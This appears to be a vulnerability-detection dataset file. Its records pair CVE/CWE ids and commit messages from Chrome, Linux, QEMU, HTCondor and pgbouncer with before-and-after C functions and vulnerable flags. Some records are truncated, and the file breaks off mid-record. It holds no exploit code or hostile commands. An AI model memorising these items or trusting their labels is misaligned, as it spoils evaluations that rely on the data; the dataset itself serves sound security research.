Remove --disable-app-shims. App shims have been enabled by default for 3 milestones (since r242711). BUG=350161 Review URL: https://codereview.chromium.org/298953002 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@272786 0039d316-1c4b-4281-b951-d872f2087c98
bool SkipConditionalExperiment(const Experiment& experiment) { if (experiment.internal_name == std::string("enhanced-bookmarks-experiment")) { CommandLine* command_line = CommandLine::ForCurrentProcess(); if (command_line->HasSwitch(switches::kEnhancedBookmarksExperiment)) return false; return !IsEnhancedBookmarksExperimentEnabled(); } if ((experiment.internal_name == std::string("manual-enhanced-bookmarks")) || (experiment.internal_name == std::string("manual-enhanced-bookmarks-optout"))) { return true; } return false; }
bool SkipConditionalExperiment(const Experiment& experiment) { if (experiment.internal_name == std::string("enhanced-bookmarks-experiment")) { CommandLine* command_line = CommandLine::ForCurrentProcess(); if (command_line->HasSwitch(switches::kEnhancedBookmarksExperiment)) return false; return !IsEnhancedBookmarksExperimentEnabled(); } if ((experiment.internal_name == std::string("manual-enhanced-bookmarks")) || (experiment.internal_name == std::string("manual-enhanced-bookmarks-optout"))) { return true; } return false; }
C
Chrome
0
CVE-2014-9903
https://www.cvedetails.com/cve/CVE-2014-9903/
CWE-200
https://github.com/torvalds/linux/commit/4efbc454ba68def5ef285b26ebfcfdb605b52755
4efbc454ba68def5ef285b26ebfcfdb605b52755
sched: Fix information leak in sys_sched_getattr() We're copying the on-stack structure to userspace, but forgot to give the right number of bytes to copy. This allows the calling process to obtain up to PAGE_SIZE bytes from the stack (and possibly adjacent kernel memory). This fix copies only as much as we actually have on the stack (attr->size defaults to the size of the struct) and leaves the rest of the userspace-provided buffer untouched. Found using kmemcheck + trinity. Fixes: d50dde5a10f30 ("sched: Add new scheduler syscalls to support an extended scheduling parameters ABI") Cc: Dario Faggioli <raistlin@linux.it> Cc: Juri Lelli <juri.lelli@gmail.com> Cc: Ingo Molnar <mingo@kernel.org> Signed-off-by: Vegard Nossum <vegard.nossum@oracle.com> Signed-off-by: Peter Zijlstra <peterz@infradead.org> Link: http://lkml.kernel.org/r/1392585857-10725-1-git-send-email-vegard.nossum@oracle.com Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
__setparam_dl(struct task_struct *p, const struct sched_attr *attr) { struct sched_dl_entity *dl_se = &p->dl; init_dl_task_timer(dl_se); dl_se->dl_runtime = attr->sched_runtime; dl_se->dl_deadline = attr->sched_deadline; dl_se->dl_period = attr->sched_period ?: dl_se->dl_deadline; dl_se->flags = attr->sched_flags; dl_se->dl_bw = to_ratio(dl_se->dl_period, dl_se->dl_runtime); dl_se->dl_throttled = 0; dl_se->dl_new = 1; }
__setparam_dl(struct task_struct *p, const struct sched_attr *attr) { struct sched_dl_entity *dl_se = &p->dl; init_dl_task_timer(dl_se); dl_se->dl_runtime = attr->sched_runtime; dl_se->dl_deadline = attr->sched_deadline; dl_se->dl_period = attr->sched_period ?: dl_se->dl_deadline; dl_se->flags = attr->sched_flags; dl_se->dl_bw = to_ratio(dl_se->dl_period, dl_se->dl_runtime); dl_se->dl_throttled = 0; dl_se->dl_new = 1; }
C
linux
0
null
null
null
https://github.com/chromium/chromium/commit/fc790462b4f248712bbc8c3734664dd6b05f80f2
fc790462b4f248712bbc8c3734664dd6b05f80f2
Set the job name for the print job on the Mac. BUG=http://crbug.com/29188 TEST=as in bug Review URL: http://codereview.chromium.org/1997016 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@47056 0039d316-1c4b-4281-b951-d872f2087c98
void ResourceMessageFilter::OnClipboardReadAsciiText(Clipboard::Buffer buffer, IPC::Message* reply) { std::string result; GetClipboard()->ReadAsciiText(buffer, &result); ViewHostMsg_ClipboardReadAsciiText::WriteReplyParams(reply, result); Send(reply); }
void ResourceMessageFilter::OnClipboardReadAsciiText(Clipboard::Buffer buffer, IPC::Message* reply) { std::string result; GetClipboard()->ReadAsciiText(buffer, &result); ViewHostMsg_ClipboardReadAsciiText::WriteReplyParams(reply, result); Send(reply); }
C
Chrome
0
CVE-2011-2875
https://www.cvedetails.com/cve/CVE-2011-2875/
CWE-20
https://github.com/chromium/chromium/commit/ab5e55ff333def909d025ac45da9ffa0d88a63f2
ab5e55ff333def909d025ac45da9ffa0d88a63f2
Unreviewed, rolling out r127612, r127660, and r127664. http://trac.webkit.org/changeset/127612 http://trac.webkit.org/changeset/127660 http://trac.webkit.org/changeset/127664 https://bugs.webkit.org/show_bug.cgi?id=95920 Source/Platform: * Platform.gypi: * chromium/public/WebRTCPeerConnectionHandler.h: (WebKit): (WebRTCPeerConnectionHandler): * chromium/public/WebRTCVoidRequest.h: Removed. Source/WebCore: * CMakeLists.txt: * GNUmakefile.list.am: * Modules/mediastream/RTCErrorCallback.h: (WebCore): (RTCErrorCallback): * Modules/mediastream/RTCErrorCallback.idl: * Modules/mediastream/RTCPeerConnection.cpp: (WebCore::RTCPeerConnection::createOffer): * Modules/mediastream/RTCPeerConnection.h: (WebCore): (RTCPeerConnection): * Modules/mediastream/RTCPeerConnection.idl: * Modules/mediastream/RTCSessionDescriptionCallback.h: (WebCore): (RTCSessionDescriptionCallback): * Modules/mediastream/RTCSessionDescriptionCallback.idl: * Modules/mediastream/RTCSessionDescriptionRequestImpl.cpp: (WebCore::RTCSessionDescriptionRequestImpl::create): (WebCore::RTCSessionDescriptionRequestImpl::RTCSessionDescriptionRequestImpl): (WebCore::RTCSessionDescriptionRequestImpl::requestSucceeded): (WebCore::RTCSessionDescriptionRequestImpl::requestFailed): (WebCore::RTCSessionDescriptionRequestImpl::clear): * Modules/mediastream/RTCSessionDescriptionRequestImpl.h: (RTCSessionDescriptionRequestImpl): * Modules/mediastream/RTCVoidRequestImpl.cpp: Removed. * Modules/mediastream/RTCVoidRequestImpl.h: Removed. * WebCore.gypi: * platform/chromium/support/WebRTCVoidRequest.cpp: Removed. * platform/mediastream/RTCPeerConnectionHandler.cpp: (RTCPeerConnectionHandlerDummy): (WebCore::RTCPeerConnectionHandlerDummy::RTCPeerConnectionHandlerDummy): * platform/mediastream/RTCPeerConnectionHandler.h: (WebCore): (WebCore::RTCPeerConnectionHandler::~RTCPeerConnectionHandler): (RTCPeerConnectionHandler): (WebCore::RTCPeerConnectionHandler::RTCPeerConnectionHandler): * platform/mediastream/RTCVoidRequest.h: Removed. * platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.cpp: * platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.h: (RTCPeerConnectionHandlerChromium): Tools: * DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.cpp: (MockWebRTCPeerConnectionHandler::SuccessCallbackTask::SuccessCallbackTask): (MockWebRTCPeerConnectionHandler::SuccessCallbackTask::runIfValid): (MockWebRTCPeerConnectionHandler::FailureCallbackTask::FailureCallbackTask): (MockWebRTCPeerConnectionHandler::FailureCallbackTask::runIfValid): (MockWebRTCPeerConnectionHandler::createOffer): * DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.h: (MockWebRTCPeerConnectionHandler): (SuccessCallbackTask): (FailureCallbackTask): LayoutTests: * fast/mediastream/RTCPeerConnection-createOffer.html: * fast/mediastream/RTCPeerConnection-localDescription-expected.txt: Removed. * fast/mediastream/RTCPeerConnection-localDescription.html: Removed. * fast/mediastream/RTCPeerConnection-remoteDescription-expected.txt: Removed. * fast/mediastream/RTCPeerConnection-remoteDescription.html: Removed. git-svn-id: svn://svn.chromium.org/blink/trunk@127679 bbb929c8-8fbe-4397-9dbb-9b2b20218538
ScriptExecutionContext* RTCPeerConnection::scriptExecutionContext() const { return ActiveDOMObject::scriptExecutionContext(); }
ScriptExecutionContext* RTCPeerConnection::scriptExecutionContext() const { return ActiveDOMObject::scriptExecutionContext(); }
C
Chrome
0
CVE-2018-16078
https://www.cvedetails.com/cve/CVE-2018-16078/
null
https://github.com/chromium/chromium/commit/b025e82307a8490501bb030266cd955c391abcb7
b025e82307a8490501bb030266cd955c391abcb7
[AF] Don't simplify/dedupe suggestions for (partially) filled sections. Since Autofill does not fill field by field anymore, this simplifying and deduping of suggestions is not useful anymore. Bug: 858820 Cq-Include-Trybots: luci.chromium.try:ios-simulator-full-configs;master.tryserver.chromium.mac:ios-simulator-cronet Change-Id: I36f7cfe425a0bdbf5ba7503a3d96773b405cc19b Reviewed-on: https://chromium-review.googlesource.com/1128255 Reviewed-by: Roger McFarlane <rogerm@chromium.org> Commit-Queue: Sebastien Seguin-Gagnon <sebsg@chromium.org> Cr-Commit-Position: refs/heads/master@{#573315}
bool SectionHasAutofilledField(const FormStructure& form_structure,
bool SectionHasAutofilledField(const FormStructure& form_structure, const FormData& form, const std::string& section) { DCHECK_EQ(form_structure.field_count(), form.fields.size()); for (size_t i = 0; i < form_structure.field_count(); ++i) { if (form_structure.field(i)->section == section && form.fields[i].is_autofilled) { return true; } } return false; }
C
Chrome
1
CVE-2012-2894
https://www.cvedetails.com/cve/CVE-2012-2894/
CWE-399
https://github.com/chromium/chromium/commit/9dc6161824d61e899c282cfe9aa40a4d3031974d
9dc6161824d61e899c282cfe9aa40a4d3031974d
[cros] Allow media streaming for OOBE WebUI. BUG=122764 TEST=Manual with --enable-html5-camera Review URL: https://chromiumcodereview.appspot.com/10693027 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@144899 0039d316-1c4b-4281-b951-d872f2087c98
content::WebUI* WebUILoginView::GetWebUI() { return webui_login_->web_contents()->GetWebUI(); }
content::WebUI* WebUILoginView::GetWebUI() { return webui_login_->web_contents()->GetWebUI(); }
C
Chrome
0
CVE-2014-9870
https://www.cvedetails.com/cve/CVE-2014-9870/
CWE-264
https://github.com/torvalds/linux/commit/a4780adeefd042482f624f5e0d577bf9cdcbb760
a4780adeefd042482f624f5e0d577bf9cdcbb760
ARM: 7735/2: Preserve the user r/w register TPIDRURW on context switch and fork Since commit 6a1c53124aa1 the user writeable TLS register was zeroed to prevent it from being used as a covert channel between two tasks. There are more and more applications coming to Windows RT, Wine could support them, but mostly they expect to have the thread environment block (TEB) in TPIDRURW. This patch preserves that register per thread instead of clearing it. Unlike the TPIDRURO, which is already switched, the TPIDRURW can be updated from userspace so needs careful treatment in the case that we modify TPIDRURW and call fork(). To avoid this we must always read TPIDRURW in copy_thread. Signed-off-by: André Hentschel <nerv@dawncrow.de> Signed-off-by: Will Deacon <will.deacon@arm.com> Signed-off-by: Jonathan Austin <jonathan.austin@arm.com> Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
static int __die(const char *str, int err, struct pt_regs *regs) { struct task_struct *tsk = current; static int die_counter; int ret; printk(KERN_EMERG "Internal error: %s: %x [#%d]" S_PREEMPT S_SMP S_ISA "\n", str, err, ++die_counter); /* trap and error numbers are mostly meaningless on ARM */ ret = notify_die(DIE_OOPS, str, regs, err, tsk->thread.trap_no, SIGSEGV); if (ret == NOTIFY_STOP) return 1; print_modules(); __show_regs(regs); printk(KERN_EMERG "Process %.*s (pid: %d, stack limit = 0x%p)\n", TASK_COMM_LEN, tsk->comm, task_pid_nr(tsk), end_of_stack(tsk)); if (!user_mode(regs) || in_interrupt()) { dump_mem(KERN_EMERG, "Stack: ", regs->ARM_sp, THREAD_SIZE + (unsigned long)task_stack_page(tsk)); dump_backtrace(regs, tsk); dump_instr(KERN_EMERG, regs); } return 0; }
static int __die(const char *str, int err, struct pt_regs *regs) { struct task_struct *tsk = current; static int die_counter; int ret; printk(KERN_EMERG "Internal error: %s: %x [#%d]" S_PREEMPT S_SMP S_ISA "\n", str, err, ++die_counter); /* trap and error numbers are mostly meaningless on ARM */ ret = notify_die(DIE_OOPS, str, regs, err, tsk->thread.trap_no, SIGSEGV); if (ret == NOTIFY_STOP) return 1; print_modules(); __show_regs(regs); printk(KERN_EMERG "Process %.*s (pid: %d, stack limit = 0x%p)\n", TASK_COMM_LEN, tsk->comm, task_pid_nr(tsk), end_of_stack(tsk)); if (!user_mode(regs) || in_interrupt()) { dump_mem(KERN_EMERG, "Stack: ", regs->ARM_sp, THREAD_SIZE + (unsigned long)task_stack_page(tsk)); dump_backtrace(regs, tsk); dump_instr(KERN_EMERG, regs); } return 0; }
C
linux
0
CVE-2011-3087
https://www.cvedetails.com/cve/CVE-2011-3087/
null
https://github.com/chromium/chromium/commit/58436a1770176ece2c02b28a57bba2a89db5d58b
58436a1770176ece2c02b28a57bba2a89db5d58b
Use a new scheme for swapping out RenderViews. BUG=118664 TEST=none Review URL: http://codereview.chromium.org/9720004 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@127986 0039d316-1c4b-4281-b951-d872f2087c98
WebKit::WebURLLoader* TestWebKitPlatformSupport::createURLLoader() { if (!unit_test_mode_) return webkit_glue::WebKitPlatformSupportImpl::createURLLoader(); return url_loader_factory_.CreateURLLoader( webkit_glue::WebKitPlatformSupportImpl::createURLLoader()); }
WebKit::WebURLLoader* TestWebKitPlatformSupport::createURLLoader() { if (!unit_test_mode_) return webkit_glue::WebKitPlatformSupportImpl::createURLLoader(); return url_loader_factory_.CreateURLLoader( webkit_glue::WebKitPlatformSupportImpl::createURLLoader()); }
C
Chrome
0
CVE-2011-4930
https://www.cvedetails.com/cve/CVE-2011-4930/
CWE-134
https://htcondor-git.cs.wisc.edu/?p=condor.git;a=commitdiff;h=5e5571d1a431eb3c61977b6dd6ec90186ef79867
5e5571d1a431eb3c61977b6dd6ec90186ef79867
null
GahpClient::setNormalProxy( Proxy *proxy ) { if ( !server->can_cache_proxies ) { return; } if ( normal_proxy != NULL && proxy == normal_proxy->proxy ) { return; } if ( normal_proxy != NULL ) { server->UnregisterProxy( normal_proxy->proxy ); } GahpProxyInfo *gahp_proxy = server->RegisterProxy( proxy ); ASSERT(gahp_proxy); normal_proxy = gahp_proxy; }
GahpClient::setNormalProxy( Proxy *proxy ) { if ( !server->can_cache_proxies ) { return; } if ( normal_proxy != NULL && proxy == normal_proxy->proxy ) { return; } if ( normal_proxy != NULL ) { server->UnregisterProxy( normal_proxy->proxy ); } GahpProxyInfo *gahp_proxy = server->RegisterProxy( proxy ); ASSERT(gahp_proxy); normal_proxy = gahp_proxy; }
CPP
htcondor
0
CVE-2012-0207
https://www.cvedetails.com/cve/CVE-2012-0207/
CWE-399
https://github.com/torvalds/linux/commit/a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27
a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27
igmp: Avoid zero delay when receiving odd mixture of IGMP queries Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP behavior on v3 query during v2-compatibility mode') added yet another case for query parsing, which can result in max_delay = 0. Substitute a value of 1, as in the usual v3 case. Reported-by: Simon McVittie <smcv@debian.org> References: http://bugs.debian.org/654876 Signed-off-by: Ben Hutchings <ben@decadent.org.uk> Signed-off-by: David S. Miller <davem@davemloft.net>
static void igmp_group_added(struct ip_mc_list *im) { struct in_device *in_dev = im->interface; if (im->loaded == 0) { im->loaded = 1; ip_mc_filter_add(in_dev, im->multiaddr); } #ifdef CONFIG_IP_MULTICAST if (im->multiaddr == IGMP_ALL_HOSTS) return; if (in_dev->dead) return; if (IGMP_V1_SEEN(in_dev) || IGMP_V2_SEEN(in_dev)) { spin_lock_bh(&im->lock); igmp_start_timer(im, IGMP_Initial_Report_Delay); spin_unlock_bh(&im->lock); return; } /* else, v3 */ im->crcount = in_dev->mr_qrv ? in_dev->mr_qrv : IGMP_Unsolicited_Report_Count; igmp_ifc_event(in_dev); #endif }
static void igmp_group_added(struct ip_mc_list *im) { struct in_device *in_dev = im->interface; if (im->loaded == 0) { im->loaded = 1; ip_mc_filter_add(in_dev, im->multiaddr); } #ifdef CONFIG_IP_MULTICAST if (im->multiaddr == IGMP_ALL_HOSTS) return; if (in_dev->dead) return; if (IGMP_V1_SEEN(in_dev) || IGMP_V2_SEEN(in_dev)) { spin_lock_bh(&im->lock); igmp_start_timer(im, IGMP_Initial_Report_Delay); spin_unlock_bh(&im->lock); return; } /* else, v3 */ im->crcount = in_dev->mr_qrv ? in_dev->mr_qrv : IGMP_Unsolicited_Report_Count; igmp_ifc_event(in_dev); #endif }
C
linux
0
CVE-2013-0886
https://www.cvedetails.com/cve/CVE-2013-0886/
null
https://github.com/chromium/chromium/commit/18d67244984a574ba2dd8779faabc0e3e34f4b76
18d67244984a574ba2dd8779faabc0e3e34f4b76
Implement TextureImageTransportSurface using texture mailbox This has a couple of advantages: - allow tearing down and recreating the UI parent context without losing the renderer contexts - do not require a context to be able to generate textures when creating the GLSurfaceHandle - clearer ownership semantics that potentially allows for more robust and easier lost context handling/thumbnailing/etc., since a texture is at any given time owned by either: UI parent, mailbox, or TextureImageTransportSurface - simplify frontbuffer protection logic; the frontbuffer textures are now owned by RWHV where they are refcounted The TextureImageTransportSurface informs RenderWidgetHostView of the mailbox names for the front- and backbuffer textures by associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message. During SwapBuffers() or PostSubBuffer() cycles, it then uses produceTextureCHROMIUM() and consumeTextureCHROMIUM() to transfer ownership between renderer and browser compositor. RWHV sends back the surface_handle of the buffer being returned with the Swap ACK (or 0 if no buffer is being returned in which case TextureImageTransportSurface will allocate a new texture - note that this could be used to simply keep textures for thumbnailing). BUG=154815,139616 TBR=sky@chromium.org Review URL: https://chromiumcodereview.appspot.com/11194042 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
void BrowserPluginGuest::DidStartProvisionalLoadForFrame( int64 frame_id, int64 parent_frame_id, bool is_main_frame, const GURL& validated_url, bool is_error_page, RenderViewHost* render_view_host) { SendMessageToEmbedder( new BrowserPluginMsg_LoadStart(embedder_routing_id(), instance_id(), validated_url, is_main_frame)); }
void BrowserPluginGuest::DidStartProvisionalLoadForFrame( int64 frame_id, int64 parent_frame_id, bool is_main_frame, const GURL& validated_url, bool is_error_page, RenderViewHost* render_view_host) { SendMessageToEmbedder( new BrowserPluginMsg_LoadStart(embedder_routing_id(), instance_id(), validated_url, is_main_frame)); }
C
Chrome
0
CVE-2017-5019
https://www.cvedetails.com/cve/CVE-2017-5019/
CWE-416
https://github.com/chromium/chromium/commit/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
Convert FrameHostMsg_DidAddMessageToConsole to Mojo. Note: Since this required changing the test RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually re-introduced https://crbug.com/666714 locally (the bug the test was added for), and reran the test to confirm that it still covers the bug. Bug: 786836 Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270 Commit-Queue: Lowell Manners <lowell@chromium.org> Reviewed-by: Daniel Cheng <dcheng@chromium.org> Reviewed-by: Camille Lamy <clamy@chromium.org> Cr-Commit-Position: refs/heads/master@{#653137}
RenderFrameImpl::GetRemoteNavigationAssociatedInterfaces() { return GetRemoteAssociatedInterfaces(); }
RenderFrameImpl::GetRemoteNavigationAssociatedInterfaces() { return GetRemoteAssociatedInterfaces(); }
C
Chrome
0
CVE-2016-3951
https://www.cvedetails.com/cve/CVE-2016-3951/
null
https://github.com/torvalds/linux/commit/4d06dd537f95683aba3651098ae288b7cbff8274
4d06dd537f95683aba3651098ae288b7cbff8274
cdc_ncm: do not call usbnet_link_change from cdc_ncm_bind usbnet_link_change will call schedule_work and should be avoided if bind is failing. Otherwise we will end up with scheduled work referring to a netdev which has gone away. Instead of making the call conditional, we can just defer it to usbnet_probe, using the driver_info flag made for this purpose. Fixes: 8a34b0ae8778 ("usbnet: cdc_ncm: apply usbnet_link_change") Reported-by: Andrey Konovalov <andreyknvl@gmail.com> Suggested-by: Linus Torvalds <torvalds@linux-foundation.org> Signed-off-by: Bjørn Mork <bjorn@mork.no> Signed-off-by: David S. Miller <davem@davemloft.net>
int cdc_ncm_rx_verify_ndp16(struct sk_buff *skb_in, int ndpoffset) { struct usbnet *dev = netdev_priv(skb_in->dev); struct usb_cdc_ncm_ndp16 *ndp16; int ret = -EINVAL; if ((ndpoffset + sizeof(struct usb_cdc_ncm_ndp16)) > skb_in->len) { netif_dbg(dev, rx_err, dev->net, "invalid NDP offset <%u>\n", ndpoffset); goto error; } ndp16 = (struct usb_cdc_ncm_ndp16 *)(skb_in->data + ndpoffset); if (le16_to_cpu(ndp16->wLength) < USB_CDC_NCM_NDP16_LENGTH_MIN) { netif_dbg(dev, rx_err, dev->net, "invalid DPT16 length <%u>\n", le16_to_cpu(ndp16->wLength)); goto error; } ret = ((le16_to_cpu(ndp16->wLength) - sizeof(struct usb_cdc_ncm_ndp16)) / sizeof(struct usb_cdc_ncm_dpe16)); ret--; /* we process NDP entries except for the last one */ if ((sizeof(struct usb_cdc_ncm_ndp16) + ret * (sizeof(struct usb_cdc_ncm_dpe16))) > skb_in->len) { netif_dbg(dev, rx_err, dev->net, "Invalid nframes = %d\n", ret); ret = -EINVAL; } error: return ret; }
int cdc_ncm_rx_verify_ndp16(struct sk_buff *skb_in, int ndpoffset) { struct usbnet *dev = netdev_priv(skb_in->dev); struct usb_cdc_ncm_ndp16 *ndp16; int ret = -EINVAL; if ((ndpoffset + sizeof(struct usb_cdc_ncm_ndp16)) > skb_in->len) { netif_dbg(dev, rx_err, dev->net, "invalid NDP offset <%u>\n", ndpoffset); goto error; } ndp16 = (struct usb_cdc_ncm_ndp16 *)(skb_in->data + ndpoffset); if (le16_to_cpu(ndp16->wLength) < USB_CDC_NCM_NDP16_LENGTH_MIN) { netif_dbg(dev, rx_err, dev->net, "invalid DPT16 length <%u>\n", le16_to_cpu(ndp16->wLength)); goto error; } ret = ((le16_to_cpu(ndp16->wLength) - sizeof(struct usb_cdc_ncm_ndp16)) / sizeof(struct usb_cdc_ncm_dpe16)); ret--; /* we process NDP entries except for the last one */ if ((sizeof(struct usb_cdc_ncm_ndp16) + ret * (sizeof(struct usb_cdc_ncm_dpe16))) > skb_in->len) { netif_dbg(dev, rx_err, dev->net, "Invalid nframes = %d\n", ret); ret = -EINVAL; } error: return ret; }
C
linux
0
CVE-2016-6490
https://www.cvedetails.com/cve/CVE-2016-6490/
CWE-20
https://git.qemu.org/?p=qemu.git;a=commit;h=1e7aed70144b4673fc26e73062064b6724795e5f
1e7aed70144b4673fc26e73062064b6724795e5f
null
static inline uint16_t vring_avail_flags(VirtQueue *vq) { hwaddr pa; pa = vq->vring.avail + offsetof(VRingAvail, flags); return virtio_lduw_phys(vq->vdev, pa); }
static inline uint16_t vring_avail_flags(VirtQueue *vq) { hwaddr pa; pa = vq->vring.avail + offsetof(VRingAvail, flags); return virtio_lduw_phys(vq->vdev, pa); }
C
qemu
0
CVE-2014-3200
https://www.cvedetails.com/cve/CVE-2014-3200/
null
https://github.com/chromium/chromium/commit/c0947dabeaa10da67798c1bbc668dca4b280cad5
c0947dabeaa10da67798c1bbc668dca4b280cad5
[Contextual Search] Change "Now on Tap" to "Contextual Cards" BUG=644934 Review-Url: https://codereview.chromium.org/2361163003 Cr-Commit-Position: refs/heads/master@{#420899}
void CreateDefaultSearchContextAndRequestSearchTerm() { base::string16 surrounding = base::UTF8ToUTF16("Barack Obama just spoke."); CreateSearchContextAndRequestSearchTerm("Barack Obama", surrounding, 0, 6); }
void CreateDefaultSearchContextAndRequestSearchTerm() { base::string16 surrounding = base::UTF8ToUTF16("Barack Obama just spoke."); CreateSearchContextAndRequestSearchTerm("Barack Obama", surrounding, 0, 6); }
C
Chrome
0
CVE-2015-6817
https://www.cvedetails.com/cve/CVE-2015-6817/
CWE-287
https://github.com/pgbouncer/pgbouncer/commit/7ca3e5279d05fceb1e8a043c6f5b6f58dea3ed38
7ca3e5279d05fceb1e8a043c6f5b6f58dea3ed38
Remove too early set of auth_user When query returns 0 rows (user not found), this user stays as login user... Should fix #69.
static bool handle_client_work(PgSocket *client, PktHdr *pkt) { SBuf *sbuf = &client->sbuf; switch (pkt->type) { /* one-packet queries */ case 'Q': /* Query */ if (cf_disable_pqexec) { slog_error(client, "Client used 'Q' packet type."); disconnect_client(client, true, "PQexec disallowed"); return false; } case 'F': /* FunctionCall */ /* request immediate response from server */ case 'S': /* Sync */ client->expect_rfq_count++; break; case 'H': /* Flush */ break; /* copy end markers */ case 'c': /* CopyDone(F/B) */ case 'f': /* CopyFail(F/B) */ break; /* * extended protocol allows server (and thus pooler) * to buffer packets until sync or flush is sent by client */ case 'P': /* Parse */ case 'E': /* Execute */ case 'C': /* Close */ case 'B': /* Bind */ case 'D': /* Describe */ case 'd': /* CopyData(F/B) */ break; /* client wants to go away */ default: slog_error(client, "unknown pkt from client: %d/0x%x", pkt->type, pkt->type); disconnect_client(client, true, "unknown pkt"); return false; case 'X': /* Terminate */ disconnect_client(client, false, "client close request"); return false; } /* update stats */ if (!client->query_start) { client->pool->stats.request_count++; client->query_start = get_cached_time(); } if (client->pool->db->admin) return admin_handle_client(client, pkt); /* acquire server */ if (!find_server(client)) return false; client->pool->stats.client_bytes += pkt->len; /* tag the server as dirty */ client->link->ready = false; client->link->idle_tx = false; /* forward the packet */ sbuf_prepare_send(sbuf, &client->link->sbuf, pkt->len); return true; }
static bool handle_client_work(PgSocket *client, PktHdr *pkt) { SBuf *sbuf = &client->sbuf; switch (pkt->type) { /* one-packet queries */ case 'Q': /* Query */ if (cf_disable_pqexec) { slog_error(client, "Client used 'Q' packet type."); disconnect_client(client, true, "PQexec disallowed"); return false; } case 'F': /* FunctionCall */ /* request immediate response from server */ case 'S': /* Sync */ client->expect_rfq_count++; break; case 'H': /* Flush */ break; /* copy end markers */ case 'c': /* CopyDone(F/B) */ case 'f': /* CopyFail(F/B) */ break; /* * extended protocol allows server (and thus pooler) * to buffer packets until sync or flush is sent by client */ case 'P': /* Parse */ case 'E': /* Execute */ case 'C': /* Close */ case 'B': /* Bind */ case 'D': /* Describe */ case 'd': /* CopyData(F/B) */ break; /* client wants to go away */ default: slog_error(client, "unknown pkt from client: %d/0x%x", pkt->type, pkt->type); disconnect_client(client, true, "unknown pkt"); return false; case 'X': /* Terminate */ disconnect_client(client, false, "client close request"); return false; } /* update stats */ if (!client->query_start) { client->pool->stats.request_count++; client->query_start = get_cached_time(); } if (client->pool->db->admin) return admin_handle_client(client, pkt); /* acquire server */ if (!find_server(client)) return false; client->pool->stats.client_bytes += pkt->len; /* tag the server as dirty */ client->link->ready = false; client->link->idle_tx = false; /* forward the packet */ sbuf_prepare_send(sbuf, &client->link->sbuf, pkt->len); return true; }
C
pgbouncer
0
CVE-2014-4652
https://www.cvedetails.com/cve/CVE-2014-4652/
CWE-362
https://github.com/torvalds/linux/commit/07f4d9d74a04aa7c72c5dae0ef97565f28f17b92
07f4d9d74a04aa7c72c5dae0ef97565f28f17b92
ALSA: control: Protect user controls against concurrent access The user-control put and get handlers as well as the tlv do not protect against concurrent access from multiple threads. Since the state of the control is not updated atomically it is possible that either two write operations or a write and a read operation race against each other. Both can lead to arbitrary memory disclosure. This patch introduces a new lock that protects user-controls from concurrent access. Since applications typically access controls sequentially than in parallel a single lock per card should be fine. Signed-off-by: Lars-Peter Clausen <lars@metafoo.de> Acked-by: Jaroslav Kysela <perex@perex.cz> Cc: <stable@vger.kernel.org> Signed-off-by: Takashi Iwai <tiwai@suse.de>
static int check_empty_slot(struct module *module, int slot) { return !slots[slot] || !*slots[slot]; }
static int check_empty_slot(struct module *module, int slot) { return !slots[slot] || !*slots[slot]; }
C
linux
0
null
null
null
https://github.com/chromium/chromium/commit/b9e2ecab97a8a7f3cce06951ab92a3eaef559206
b9e2ecab97a8a7f3cce06951ab92a3eaef559206
Do not discount a MANUAL_SUBFRAME load just because it involved some redirects. R=brettw BUG=21353 TEST=none Review URL: http://codereview.chromium.org/246073 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@27887 0039d316-1c4b-4281-b951-d872f2087c98
void WebFrameLoaderClient::dispatchDidFailLoading(DocumentLoader* loader, unsigned long identifier, const ResourceError& error) { if (webframe_->client()) { webframe_->client()->didFailResourceLoad( webframe_, identifier, webkit_glue::ResourceErrorToWebURLError(error)); } }
void WebFrameLoaderClient::dispatchDidFailLoading(DocumentLoader* loader, unsigned long identifier, const ResourceError& error) { if (webframe_->client()) { webframe_->client()->didFailResourceLoad( webframe_, identifier, webkit_glue::ResourceErrorToWebURLError(error)); } }
C
Chrome
0
CVE-2012-2880
https://www.cvedetails.com/cve/CVE-2012-2880/
CWE-362
https://github.com/chromium/chromium/commit/fcd3a7a671ecf2d5f46ea34787d27507a914d2f5
fcd3a7a671ecf2d5f46ea34787d27507a914d2f5
[Sync] Cleanup all tab sync enabling logic now that its on by default. BUG=none TEST= Review URL: https://chromiumcodereview.appspot.com/10443046 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
void GetSanitizedEnabledFlags( PrefService* prefs, std::set<std::string>* result) { SanitizeList(prefs); GetEnabledFlags(prefs, result); }
void GetSanitizedEnabledFlags( PrefService* prefs, std::set<std::string>* result) { SanitizeList(prefs); GetEnabledFlags(prefs, result); }
C
Chrome
0
CVE-2013-0920
https://www.cvedetails.com/cve/CVE-2013-0920/
CWE-399
https://github.com/chromium/chromium/commit/12baa2097220e33c12b60aa5e6da6701637761bf
12baa2097220e33c12b60aa5e6da6701637761bf
Fix heap-use-after-free in BookmarksIOFunction::ShowSelectFileDialog. BUG=177410 Review URL: https://chromiumcodereview.appspot.com/12326086 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@184586 0039d316-1c4b-4281-b951-d872f2087c98
void BookmarksCreateFunction::GetQuotaLimitHeuristics( QuotaLimitHeuristics* heuristics) const { BookmarksQuotaLimitFactory::BuildForCreate(heuristics, profile()); }
